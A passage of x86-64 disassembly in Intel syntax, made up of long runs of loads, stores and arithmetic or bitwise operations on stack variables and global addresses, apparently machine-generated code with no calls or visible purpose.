mov byte [0x140179066], al
movsx eax, word [rsp + 0xd5c]
movsx ecx, word [rsp + 0xd90]
shl eax, cl
mov word [rsp + 0xd6c], ax
mov rax, qword [rsp + 0x7728]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x7850]
movzx ecx, word [rcx]
cdq
idiv ecx
mov word [rsp + 0xcb8], ax
mov rax, qword [rsp + 0x7d48]
movzx eax, byte [rax]
mov byte [rsp + 0x111], al
mov rax, qword [rsp + 0x7118]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x7d80]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x90], al
mov rax, qword [rsp + 0x6e28]
mov rax, qword [rax]
mov qword [rsp + 0x85c8], rax
mov rax, qword [rsp + 0x82c8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3e44]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x3df8], eax
mov eax, dword [rsp + 0x3e88]
mov ecx, dword [rsp + 0x3c98]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3b4c], eax
lea rax, [rsp + 0x7648]
mov qword [rsp + 0x85d0], rax
mov rax, qword [rsp + 0x71f0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xef0]
and eax, ecx
mov rcx, qword [rsp + 0x7bc0]
mov word [rcx], ax
mov rax, qword [rsp + 0x79e8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x6fa8]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [0x14017a608]
mov byte [rcx], al
lea rax, [0x14017903e]
mov qword [rsp + 0x85d8], rax
movsx eax, word [rsp + 0xc2c]
movsx ecx, word [rsp + 0xef8]
add eax, ecx
mov word [rsp + 0xc44], ax
movsx eax, byte [rsp + 0xb3]
movsx ecx, byte [rsp + 0x6a]
sub eax, ecx
mov byte [rsp + 0x57], al
mov eax, dword [0x14017a4d0]
mov dword [rsp + 0x3ef0], eax
mov rax, qword [rsp + 0x8060]
mov rcx, qword [rsp + 0x7748]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x8148]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8440]
mov qword [rsp + 0x85e0], rax
mov rax, qword [rsp + 0x7638]
mov rcx, qword [rsp + 0x73b8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3e5c], eax
lea rax, [rsp + 0x61]
mov qword [rsp + 0x85e8], rax
mov rax, qword [rsp + 0x74b8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xdcc]
add eax, ecx
mov word [0x14017a5c0], ax
mov rax, qword [rsp + 0x7bf8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x7fc0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xc48], ax
mov rax, qword [rsp + 0x8228]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xc4]
and eax, ecx
mov byte [rsp + 0x7f], al
lea rax, [rsp + 0xe54]
mov qword [rsp + 0x85f0], rax
mov rax, qword [rsp + 0x7460]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [0x140179010]
shr rax, cl
mov qword [rsp + 0x7698], rax
lea rax, [rsp + 0x3e30]
mov qword [rsp + 0x85f8], rax
mov rax, qword [rsp + 0x7ee8]
mov rcx, qword [rsp + 0x72b8]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x7378]
mov qword [rcx], rax
mov eax, dword [rsp + 0x3dd8]
movzx ecx, al
mov eax, dword [0x14017a4d0]
shl eax, cl
mov dword [rsp + 0x3abc], eax
mov rax, qword [rsp + 0x75d8]
movzx eax, byte [rax]
mov byte [rsp + 0x112], al
lea rax, [rsp + 0xdd8]
mov qword [0x14017a820], rax
movzx eax, byte [rsp + 0x75]
movzx ecx, byte [str.___nAv]
or eax, ecx
mov rcx, qword [rsp + 0x6f88]
mov byte [rcx], al
lea rax, [rsp + 0xa0]
mov qword [rsp + 0x8600], rax
movsx eax, word [rsp + 0xee0]
movsx ecx, word [rsp + 0xe44]
add eax, ecx
mov rcx, qword [rsp + 0x7fc0]
mov word [rcx], ax
mov rax, qword [rsp + 0x6aa0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6be8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x7e60]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6fc0]
mov eax, dword [rax]
mov dword [rsp + 0x3ef4], eax
mov rax, qword [rsp + 0x82c0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8350]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6a20]
mov qword [rcx], rax
lea rax, [rsp + 0x3cf4]
mov qword [rsp + 0x8608], rax
movsx eax, word [rsp + 0xc18]
movsx ecx, word [rsp + 0xc28]
add eax, ecx
mov rcx, qword [rsp + 0x8588]
mov word [rcx], ax
mov rax, qword [rsp + 0x7598]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6f88]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x140179067], al
lea rax, [0x14017a55d]
mov qword [rsp + 0x8610], rax
mov rax, qword [rsp + 0x84d8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xca4]
sub eax, ecx
mov word [rsp + 0xe10], ax
mov rax, qword [rsp + 0x6e78]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xe94]
sub eax, ecx
mov rcx, qword [rsp + 0x84b0]
mov word [rcx], ax
mov rax, qword [rsp + 0x82b0]
movzx eax, byte [rax]
mov byte [rsp + 0x113], al
mov rax, qword [rsp + 0x71c0]
mov rcx, qword [rsp + 0x7db0]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8160]
mov qword [rcx], rax
lea rax, [rsp + 0x3ed4]
mov qword [rsp + 0x8618], rax
mov rax, qword [rsp + 0x7738]
mov ecx, dword [rsp + 0x3c3c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3e2c], eax
mov rax, qword [rsp + 0x8158]
mov rcx, qword [rsp + 0x74c0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x71e8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x70f0]
movsx eax, word [rax]
movsx ecx, word [0x1401790b4]
sub eax, ecx
mov rcx, qword [0x14017a578]
mov word [rcx], ax
mov rax, qword [rsp + 0x8388]
movzx eax, word [rax]
mov word [rsp + 0xf08], ax
movsx eax, byte [rsp + 0xf6]
mov rcx, qword [rsp + 0x80b8]
movsx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x6cd0]
mov byte [rcx], al
mov rax, qword [rsp + 0x6be0]
movzx eax, word [rax]
mov word [rsp + 0xf0c], ax
movzx eax, word [0x140179018]
mov rcx, qword [rsp + 0x7048]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0xedc], ax
mov eax, dword [rsp + 0x3c50]
movzx ecx, al
mov eax, dword [rsp + 0x3da4]
shl eax, cl
mov rcx, qword [rsp + 0x6d10]
mov dword [rcx], eax
lea rax, [rsp + 0x3d8c]
mov qword [rsp + 0x8620], rax
mov rax, qword [rsp + 0x7988]
movzx ecx, al
mov rax, qword [0x140179010]
shr rax, cl
mov qword [rsp + 0x72d8], rax
lea rax, [rsp + 0x8420]
mov qword [rsp + 0x8628], rax
movzx eax, byte [rsp + 0x4d]
mov byte [0x14017a582], al
mov rax, qword [rsp + 0x7cf8]
movsx eax, byte [rax]
mov rcx, qword [0x14017a6d0]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x73], al
movzx eax, word [rsp + 0xdcc]
mov rcx, qword [rsp + 0x8370]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xdfc], ax
movzx eax, byte [rsp + 0xa6]
mov byte [rsp + 0x114], al
mov rax, qword [rsp + 0x77c8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x7640]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x8c], al
mov rax, qword [rsp + 0x8208]
mov eax, dword [rax]
mov dword [rsp + 0x3ef8], eax
mov rax, qword [rsp + 0x8300]
mov rcx, qword [rsp + 0x8628]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x71b8], rax
lea rax, [0x140179010]
mov qword [rsp + 0x8630], rax
mov rax, qword [rsp + 0x76c8]
mov rcx, qword [rsp + 0x6c80]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3c4c], eax
mov rax, qword [rsp + 0x7030]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xcf0]
sub eax, ecx
mov word [0x140179098], ax
movzx eax, word [0x14017903c]
mov rcx, qword [rsp + 0x77a8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xe70], ax
mov rax, qword [rsp + 0x7b58]
movzx eax, byte [rax]
mov byte [rsp + 0x115], al
movzx eax, byte [rsp + 0x98]
movzx ecx, byte [rsp + 0xd0]
add eax, ecx
mov byte [rsp + 0x54], al
mov rax, qword [rsp + 0x8190]
movzx eax, word [rax]
mov word [rsp + 0xf10], ax
mov rax, qword [rsp + 0x6f50]
mov rcx, qword [rsp + 0x7830]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x78f0], rax
mov rax, qword [rsp + 0x7900]
mov rcx, qword [rsp + 0x6fc8]
mov qword [rsp + 0x8638], rcx
movzx ecx, al
mov rax, qword [rsp + 0x8638]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0x7da8], rax
mov eax, dword [rsp + 0x3abc]
mov dword [rsp + 0x3efc], eax
mov rax, qword [rsp + 0x85f8]
mov rcx, qword [rsp + 0x6d60]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x3d38], eax
mov rax, qword [rsp + 0x7a80]
movzx eax, byte [rax]
mov rcx, qword [0x14017a590]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [0x14017903e], al
movzx eax, word [rsp + 0xe9c]
mov word [rsp + 0xf14], ax
movzx eax, word [rsp + 0xe70]
mov rcx, qword [rsp + 0x7910]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x7570]
mov word [rcx], ax
mov rax, qword [rsp + 0x7018]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x7c08]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x7cf8]
mov byte [rcx], al
lea rax, [rsp + 0xda]
mov qword [rsp + 0x8640], rax
mov rax, qword [rsp + 0x6ff8]
mov rcx, qword [rsp + 0x6fd8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x83d8], rax
mov rax, qword [rsp + 0x8048]
mov eax, dword [rax]
mov dword [rsp + 0x3f00], eax
mov rax, qword [rsp + 0x7008]
mov rcx, qword [rsp + 0x6d20]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8188]
mov qword [rcx], rax
mov rax, qword [rsp + 0x74f8]
mov eax, dword [rax]
mov dword [rsp + 0x3f04], eax
lea rax, [rsp + 0xe24]
mov qword [0x14017a828], rax
movzx eax, byte [0x14017900a]
movzx ecx, byte [rsp + 0xc3]
sub eax, ecx
mov byte [rsp + 0x10e], al
movsx eax, byte [rsp + 0xb1]
mov rcx, qword [rsp + 0x7b30]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x74], al
mov rax, qword [rsp + 0x79f8]
movzx eax, word [rax]
mov word [rsp + 0xf18], ax
movzx eax, word [0x140179030]
movzx ecx, word [rsp + 0xc98]
imul eax, ecx
mov rcx, qword [rsp + 0x8108]
mov word [rcx], ax
lea rax, [rsp + 0x6be8]
mov qword [rsp + 0x8648], rax
mov rax, qword [rsp + 0x8498]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3c94]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6dc0]
mov dword [rcx], eax
mov eax, dword [rsp + 0x3ee4]
mov ecx, dword [section..data]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3dcc], eax
lea rax, [rsp + 0x7c60]
mov qword [rsp + 0x8650], rax
movzx eax, byte [rsp + 0xbf]
movzx ecx, byte [rsp + 0x4b]
sub eax, ecx
mov rcx, qword [0x14017a508]
mov byte [rcx], al
movzx eax, word [0x1401790ac]
movzx ecx, word [rsp + 0xd30]
sub eax, ecx
mov rcx, qword [rsp + 0x74c8]
mov word [rcx], ax
mov rax, qword [rsp + 0x7580]
movzx eax, word [rax]
mov word [rsp + 0xf1c], ax
mov rax, qword [rsp + 0x7850]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x83a8]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x8370]
mov word [rcx], ax
mov rax, qword [0x14017a818]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8640]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x8568]
mov byte [rcx], al
mov rax, qword [rsp + 0x7600]
mov eax, dword [rax]
mov dword [rsp + 0x3f08], eax
mov rax, qword [rsp + 0x7230]
mov ecx, dword [0x14017a4d0]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x3ec8], eax
mov rax, qword [rsp + 0x7ee8]
mov qword [rsp + 0x8658], rax
mov rax, qword [rsp + 0x6cc0]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x73e8]
shl rax, cl
mov rcx, qword [rsp + 0x8118]
mov qword [rcx], rax
movzx eax, byte [rsp + 0x69]
movzx ecx, byte [rsp + 0x55]
xor eax, ecx
mov byte [0x14017906a], al
mov rax, qword [rsp + 0x70c0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8238]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x6ee8]
mov byte [rcx], al
lea rax, [rsp + 0xd20]
mov qword [rsp + 0x8660], rax
mov rax, qword [rsp + 0x6d50]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6fa0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xa7], al
movzx eax, word [rsp + 0xd64]
mov word [rsp + 0xf20], ax
mov rax, qword [rsp + 0x7848]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3da4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3e90], eax
lea rax, [rsp + 0x72d8]
mov qword [rsp + 0x8668], rax
mov rax, qword [rsp + 0x8628]
mov rcx, qword [rsp + 0x75e0]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x8450], rax
mov rax, qword [rsp + 0x6e80]
mov ecx, dword [rsp + 0x3ddc]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x8040]
mov dword [rcx], eax
mov rax, qword [rsp + 0x7500]
movzx eax, word [rax]
mov word [rsp + 0xf24], ax
lea rax, [rsp + 0xe70]
mov qword [0x14017a830], rax
mov rax, qword [rsp + 0x8250]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xfa]
add eax, ecx
mov rcx, qword [rsp + 0x8640]
mov byte [rcx], al
lea rax, [rsp + 0x111]
mov qword [rsp + 0x8670], rax
movsx eax, byte [rsp + 0x48]
movsx ecx, byte [rsp + 0xc2]
and eax, ecx
mov byte [rsp + 0x95], al
mov rax, qword [rsp + 0x6cf0]
mov rcx, qword [rsp + 0x7b68]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x7980]
mov qword [rcx], rax
mov rax, qword [rsp + 0x73a8]
mov eax, dword [rax]
mov dword [rsp + 0x3f0c], eax
mov rax, qword [rsp + 0x8098]
mov rcx, qword [rsp + 0x71b8]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x7370]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8620]
mov eax, dword [rax]
mov dword [rsp + 0x3f10], eax
movsx eax, word [rsp + 0xea8]
movsx ecx, word [rsp + 0xf14]
sub eax, ecx
mov rcx, qword [rsp + 0x7b80]
mov word [rcx], ax
mov rax, qword [rsp + 0x7e30]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x6e30]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [0x14017a778]
mov word [rcx], ax
movsx eax, byte [rsp + 0xc2]
mov rcx, qword [rsp + 0x8228]
movsx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x7060]
mov byte [rcx], al
mov rax, qword [0x14017a5a8]
movzx eax, word [rax]
mov word [rsp + 0xf28], ax
movzx eax, byte [rsp + 0x42]
mov rcx, qword [rsp + 0x7d48]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0xe4], al
lea rax, [rsp + 0x7c60]
mov qword [rsp + 0x8678], rax
mov rax, qword [rsp + 0x6a70]
mov rcx, qword [rsp + 0x7e28]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x7fe0], rax
mov rax, qword [rsp + 0x71a8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3ddc]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x7150]
mov dword [rcx], eax
mov rax, qword [rsp + 0x85b8]
mov eax, dword [rax]
mov dword [rsp + 0x3f14], eax
mov rax, qword [rsp + 0x7c98]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc84]
add eax, ecx
mov rcx, qword [rsp + 0x8090]
mov word [rcx], ax
lea rax, [rsp + 0xb1]
mov qword [0x14017a838], rax
mov rax, qword [rsp + 0x70e8]
movzx eax, word [rax]
mov word [rsp + 0xf2c], ax
mov rax, qword [rsp + 0x7e80]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc14]
sub eax, ecx
mov word [rsp + 0xe20], ax
movzx eax, byte [0x140179023]
mov byte [rsp + 0x116], al
mov eax, dword [rsp + 0x3cc8]
mov ecx, dword [rsp + 0x3e2c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x7bb0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x7310]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7668]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8160]
mov qword [rcx], rax
mov eax, dword [rsp + 0x3ce4]
mov dword [rsp + 0x3f18], eax
mov rax, qword [rsp + 0x7110]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x74d0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6aa0]
mov qword [rcx], rax
lea rax, [rsp + 0x47]
mov qword [rsp + 0x8680], rax
mov rax, qword [0x14017a5d8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x80a8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x1401790ac], ax
mov rax, qword [rsp + 0x7ae8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x7398]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xe58], ax
mov rax, qword [rsp + 0x71f8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x46]
sub eax, ecx
mov byte [rsp + 0x49], al
lea rax, [rsp + 0xbd]
mov qword [rsp + 0x8688], rax
movzx eax, word [rsp + 0xdd0]
movzx ecx, word [rsp + 0xdf0]
shl eax, cl
mov word [rsp + 0xef0], ax
mov rax, qword [rsp + 0x6cf0]
mov rax, qword [rax]
mov qword [rsp + 0x8690], rax
mov rax, qword [rsp + 0x7f78]
mov rcx, qword [rsp + 0x7d08]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x70c8], rax
mov eax, dword [rsp + 0x3df8]
movzx ecx, al
mov eax, dword [rsp + 0x3c7c]
shr eax, cl
mov dword [rsp + 0x3dc8], eax
lea rax, [0x140179004]
mov qword [rsp + 0x8698], rax
mov rax, qword [rsp + 0x7d30]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xf4]
xor eax, ecx
mov byte [0x140179052], al
mov rax, qword [rsp + 0x7580]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x73e0]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x8588]
mov word [rcx], ax
movzx eax, byte [0x14017a582]
mov byte [rsp + 0x117], al
mov rax, qword [rsp + 0x7d48]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xf9]
and eax, ecx
mov rcx, qword [rsp + 0x72a8]
mov byte [rcx], al
lea rax, [rsp + 0x67]
mov qword [rsp + 0x86a0], rax
mov rax, qword [rsp + 0x7d00]
mov rcx, qword [0x140179010]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x8378], rax
mov eax, dword [rsp + 0x3d4c]
mov ecx, dword [rsp + 0x3c3c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8620]
mov dword [rcx], eax
lea rax, [rsp + 0x8088]
mov qword [rsp + 0x86a8], rax
mov rax, qword [rsp + 0x6af8]
mov ecx, dword [rsp + 0x3bfc]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3d54], eax
lea rax, [rsp + 0xd40]
mov qword [0x14017a840], rax
movzx eax, word [rsp + 0xcdc]
mov word [rsp + 0xf30], ax
movsx eax, word [rsp + 0xc3c]
mov rcx, qword [rsp + 0x8280]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xdbc], ax
mov rax, qword [rsp + 0x8528]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x6dd8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xca4], ax
mov rax, qword [rsp + 0x85a8]
movzx eax, byte [rax]
mov byte [rsp + 0x118], al
mov eax, dword [0x140179004]
mov ecx, dword [rsp + 0x3e84]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x73a8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x7180]
mov eax, dword [rax]
mov dword [rsp + 0x3f1c], eax
mov rax, qword [rsp + 0x6e20]
mov rcx, qword [rsp + 0x7b38]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x7008], rax
mov rax, qword [rsp + 0x8330]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8130]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x8490], rax
movzx eax, word [rsp + 0xdc0]
movzx ecx, word [rsp + 0xd88]
xor eax, ecx
mov rcx, qword [0x14017a4e8]
mov word [rcx], ax
lea rax, [rsp + 0x61]
mov qword [rsp + 0x86b0], rax
movsx eax, byte [rsp + 0x10c]
mov rcx, qword [rsp + 0x8310]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0xb7], al
movzx eax, word [rsp + 0xcb0]
mov word [rsp + 0xf34], ax
mov rax, qword [rsp + 0x77c8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6fd0]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x8058]
mov byte [rcx], al
mov rax, qword [rsp + 0x7588]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x7518]
sar rax, cl
mov qword [rsp + 0x7428], rax
mov rax, qword [rsp + 0x6a20]
mov rax, qword [rax]
mov qword [rsp + 0x86b8], rax
mov rax, qword [rsp + 0x7718]
mov ecx, dword [rsp + 0x3ec4]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x7040]
mov dword [rcx], eax
mov rax, qword [0x14017a4d8]
mov eax, dword [rax]
mov dword [rsp + 0x3f20], eax
lea rax, [rsp + 0xea0]
mov qword [0x14017a848], rax
mov rax, qword [rsp + 0x6bd0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xd84]
add eax, ecx
mov word [rsp + 0xe4c], ax
movzx eax, byte [rsp + 0x43]
mov byte [rsp + 0x119], al
mov rax, qword [rsp + 0x7ec8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x6e]
and eax, ecx
mov byte [rsp + 0xc3], al
movsx eax, byte [rsp + 0xa1]
mov rcx, qword [rsp + 0x6ab0]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x6ba8]
mov byte [rcx], al
mov eax, dword [rsp + 0x3ef4]
mov dword [rsp + 0x3f24], eax
mov eax, dword [rsp + 0x3c00]
mov ecx, dword [rsp + 0x3c74]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3cb4], eax
mov rax, qword [rsp + 0x7548]
mov rax, qword [rax]
mov qword [rsp + 0x86c0], rax
mov rax, qword [rsp + 0x85c0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8278]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8140]
mov qword [rcx], rax
mov rax, qword [rsp + 0x76b8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc48]
sub eax, ecx
mov rcx, qword [0x14017a710]
mov word [rcx], ax
movzx eax, word [rsp + 0xe10]
movzx ecx, word [rsp + 0xc30]
sub eax, ecx
mov rcx, qword [rsp + 0x6ce8]
mov word [rcx], ax
movzx eax, byte [0x14017a4d5]
mov byte [rsp + 0x11a], al
mov rax, qword [rsp + 0x7cf0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xc7]
add eax, ecx
mov rcx, qword [rsp + 0x84c0]
mov byte [rcx], al
lea rax, [rsp + 0xe6c]
mov qword [rsp + 0x86c8], rax
mov rax, qword [rsp + 0x7658]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3f1c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x74f8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x3d94]
mov ecx, dword [rsp + 0x3ca8]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6da0]
mov dword [rcx], eax
lea rax, [rsp + 0x7c00]
mov qword [rsp + 0x86d0], rax
mov rax, qword [rsp + 0x7a98]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x7d58]
sar rax, cl
mov qword [rsp + 0x7e98], rax
lea rax, [rsp + 0xf04]
mov qword [0x14017a850], rax
mov rax, qword [rsp + 0x8540]
movzx eax, word [rax]
mov word [rsp + 0xf38], ax
movzx eax, byte [rsp + 0x62]
movzx ecx, byte [rsp + 0x85]
shl eax, cl
mov rcx, qword [rsp + 0x8680]
mov byte [rcx], al
lea rax, [0x14017903a]
mov qword [rsp + 0x86d8], rax
movzx eax, byte [rsp + 0x104]
movzx ecx, byte [rsp + 0x7a]
xor eax, ecx
mov byte [rsp + 0xd9], al
mov rax, qword [rsp + 0x7fd0]
mov rcx, qword [0x14017a4d8]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x3c60], eax
lea rax, [rsp + 0x7fa8]
mov qword [rsp + 0x86e0], rax
mov rax, qword [rsp + 0x7860]
mov rcx, qword [rsp + 0x75f0]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x6c50], rax
lea rax, [rsp + 0x3d50]
mov qword [rsp + 0x86e8], rax
lea rax, [0x140179078]
mov qword [0x14017a858], rax
mov rax, qword [rsp + 0x6d18]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x74a8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x82], al
movsx eax, word [rsp + 0xd44]
movsx ecx, word [rsp + 0xe30]
add eax, ecx
mov rcx, qword [rsp + 0x7d20]
mov word [rcx], ax
lea rax, [0x14017a808]
mov qword [rsp + 0x86f0], rax
movsx eax, byte [rsp + 0x8d]
movsx ecx, byte [rsp + 0x53]
and eax, ecx
mov rcx, qword [rsp + 0x6f00]
mov byte [rcx], al
lea rax, [rsp + 0x7100]
mov qword [rsp + 0x86f8], rax
mov rax, qword [rsp + 0x78b0]
mov rcx, qword [rsp + 0x8200]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x6ad8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x86e8]
mov ecx, dword [rsp + 0x3c80]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x8698]
mov dword [rcx], eax
lea rax, [rsp + 0x3cf8]
mov qword [rsp + 0x8700], rax
mov rax, qword [0x14017a640]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x104]
add eax, ecx
mov byte [rsp + 0x93], al
mov rax, qword [rsp + 0x8010]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x84e0]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x140179050], ax
movzx eax, byte [rsp + 0x5a]
mov byte [rsp + 0x11b], al
movzx eax, word [0x14017a6b8]
movzx ecx, word [rsp + 0xd54]
add eax, ecx
mov rcx, qword [rsp + 0x73a0]
mov word [rcx], ax
mov rax, qword [rsp + 0x77c8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x68]
shl eax, cl
mov rcx, qword [rsp + 0x83e8]
mov byte [rcx], al
mov rax, qword [rsp + 0x85c8]
mov qword [rsp + 0x8708], rax
mov rax, qword [rsp + 0x7c58]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x8500]
mov qword [rsp + 0x8710], rcx
movzx ecx, al
mov rax, qword [rsp + 0x8710]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x3e88], eax
mov rax, qword [rsp + 0x7e90]
mov eax, dword [rax]
mov dword [rsp + 0x3f28], eax
mov rax, qword [rsp + 0x7b38]
mov rcx, qword [rsp + 0x6e58]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x76f0], rax
lea rax, [0x14017a790]
mov qword [rsp + 0x8718], rax
lea rax, [rsp + 0x60]
mov qword [0x14017a860], rax
movsx eax, byte [rsp + 0xbc]
movsx ecx, byte [rsp + 0x6a]
xor eax, ecx
mov rcx, qword [rsp + 0x8028]
mov byte [rcx], al
mov rax, qword [rsp + 0x6f18]
movzx eax, word [rax]
movzx ecx, word [0x14017908c]
